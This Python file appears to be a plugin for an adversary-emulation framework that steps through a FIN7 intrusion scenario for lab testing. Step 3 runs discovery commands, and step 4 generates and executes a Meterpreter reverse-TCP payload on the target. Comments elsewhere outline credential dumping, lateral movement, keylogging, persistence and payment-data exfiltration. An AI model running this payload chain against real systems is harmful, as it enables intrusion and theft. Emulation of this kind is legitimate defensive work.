#!/usr/bin/env python3 # Adversary emulation for FIN7 from plugins.base.attack import AttackPlugin from app.interface_sfx import CommandlineColors from app.metasploit import MSFVenom import os class FIN7Plugin(AttackPlugin): # Boilerplate name = "fin7_1" description = "A plugin simulating the FIN7 adversary" ttp = "multiple" references = ["https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Emulation_Plan/Scenario_1"] required_files_attacker = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share def __init__(self): super().__init__() self.plugin_path = __file__ def step1(self): self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1: Initial Breach{CommandlineColors.ENDC}", 1) # TODOS: No idea if we can replicate that automated as those are manual tasks # RTF with VB payload (needs user interaction) # playoad executed by mshta # mshta build js payload # mshta copies wscript.exe to ADB156.exe # winword.exe spawns verclsid.exe # mshta uses taskschd.dll to create a task in 5 minutes self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}End Step 1: Initial Breach{CommandlineColors.ENDC}", 1) def step2(self): self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2: Delayed Malware Execution{CommandlineColors.ENDC}", 1) # scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/ # Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/ # Adb156.exe connects via MSSQL to attacker server # WMI quieries for network information and system information https://attack.mitre.org/techniques/T1016/ and https://attack.mitre.org/techniques/T1082/ (Caldera ?) self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}End Step 2: Delayed Malware Execution{CommandlineColors.ENDC}", 1) def step3(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 3: Target Assessment{CommandlineColors.ENDC}", 1) # TODO: Make sure logging is nice and complete # WMI queries https://attack.mitre.org/techniques/T1057/ # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) self.caldera_attack(self.targets[0], "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": self.targets[0].get_ip()}) # check for sandbox https://attack.mitre.org/techniques/T1497/ # The documentation does not define how it is checking exactly. self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) self.caldera_attack(self.targets[0], "5dc841fd-28ad-40e2-b10e-fb007fe09e81") # query username https://attack.mitre.org/techniques/T1033/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") # TODO: query computername https://attack.mitre.org/techniques/T1082/ # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) # self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) self.caldera_attack(self.targets[0], "14a21534-350f-4d83-9dd7-3c56b93a0c17") # System Info discovery https://attack.mitre.org/techniques/T1082/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", 1) self.caldera_attack(self.targets[0], "b6b105b9-41dc-490b-bc5c-80d699b82ce8") # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", 1) self.caldera_attack(self.targets[0], "316251ed-6a28-4013-812b-ddf5b5b007f8") # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 3: Target Assessment{CommandlineColors.ENDC}", 1) def step4(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}", 1) # Uploaded stager creates meterpreter shell (babymetal) # Generate payload: payload_name = "clickme.exe" venom = MSFVenom(self.attacker_machine_plugin, self.targets[0]) venom.generate_payload(payload="windows/x64/meterpreter_reverse_tcp", architecture="x64", platform="windows", # lhost, format="exe", outfile=payload_name) self.attacker_machine_plugin.get(payload_name, self.targets[0].get_machine_path_external()) src = os.path.join(self.targets[0].get_machine_path_external(), payload_name) self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Deploy babymetal replacement{CommandlineColors.ENDC}", 1) self.targets[0].put(src, self.targets[0].get_playground()) if self.targets[0].get_playground() is not None: pl = os.path.join(self.targets[0].get_playground(), payload_name) else: pl = payload_name self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute babymetal replacement - waiting for meterpreter shell{CommandlineColors.ENDC}", 1) self.targets[0].remote_run(pl, disown=True) # adb156.exe -> cmd.exe ->powershell.exe decodes embedded dll payload https://attack.mitre.org/techniques/T1059/003/ and https://attack.mitre.org/techniques/T1059/001/ # powershell cmdlet Invoke-Expression executes decoded dll https://attack.mitre.org/techniques/T1140/ # powershell.exe loads shellcode into memory (received from C2 server) https://attack.mitre.org/techniques/T1573/ self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) def step5(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1) # This is meterpreter ! # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/ # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ # powershell: GetIpNetTable() doe ARP entries (Caldera ?) https://attack.mitre.org/techniques/T1016/ # powershell: nslookup to query domain controler for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1) def step6(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 6: Expand Access{CommandlineColors.ENDC}", 1) # This is meterpreter ! # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ # spawn powershell through cmd # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ # paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ # svchost starts data exchange self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 6: Expand Access{CommandlineColors.ENDC}", 1) def step7(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 7: Setup User Monitoring{CommandlineColors.ENDC}", 1) # This is meterpreter ! # Emulating DLL hijacking functionality of BOOSTWRITE # Create BOOSTWRITE meterpreter handler # Create temporary HTTP server serving "B" as XOR Key # hollow.exe meterpreter session dowloads BOOSTWRITE.dll to srrstr.dll https://attack.mitre.org/techniques/T1105/ # cmd.exe spawns svchost.exe -> executes SystemPropertiesAdvanced.exe which executes srrstr.dll # srrstr.dll spawns rundll32.exe which communicates to metasploit. New shell ! # => Adversary gets a new shell self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 7: Setup User Monitoring{CommandlineColors.ENDC}", 1) def step8(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 8: User Monitoring{CommandlineColors.ENDC}", 1) # This is meterpreter ! # Meterpreter migrates to explorer.exe (from svchost) https://attack.mitre.org/techniques/T1055/ # screenspy for screen capture https://attack.mitre.org/techniques/T1113/ # migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/ # deploy keylogger https://attack.mitre.org/techniques/T1056/001/ self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1) def step9(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 9: Setup Shim Persistence{CommandlineColors.ENDC}", 1) # This is meterpreter ! # powershell.exe executes base64 encoded commands (Caldera ?) # Downloads dll329.dll and sdbE376 # persistence: sdbinst.exe installs sdbE376.tmp for application shimming https://attack.mitre.org/techniques/T1546/011/ self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 9: Setup Shim Persistence{CommandlineColors.ENDC}", 1) def step10(self): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1) # This is meterpreter ! # Scenario target is the fake payment application AccountingIQ.exe # Machine is rebooted # shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/ # AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2 # debug.exe is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/ # send 7za.exe to target. Zip stolen data, exfiltrate self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1) def run(self, targets): """ Run the command @param targets: A list of targets """ self.step1() self.step2() # self.step3() # Done and works self.step4() self.step5() self.step6() self.step7() self.step8() self.step9() self.step10() return ""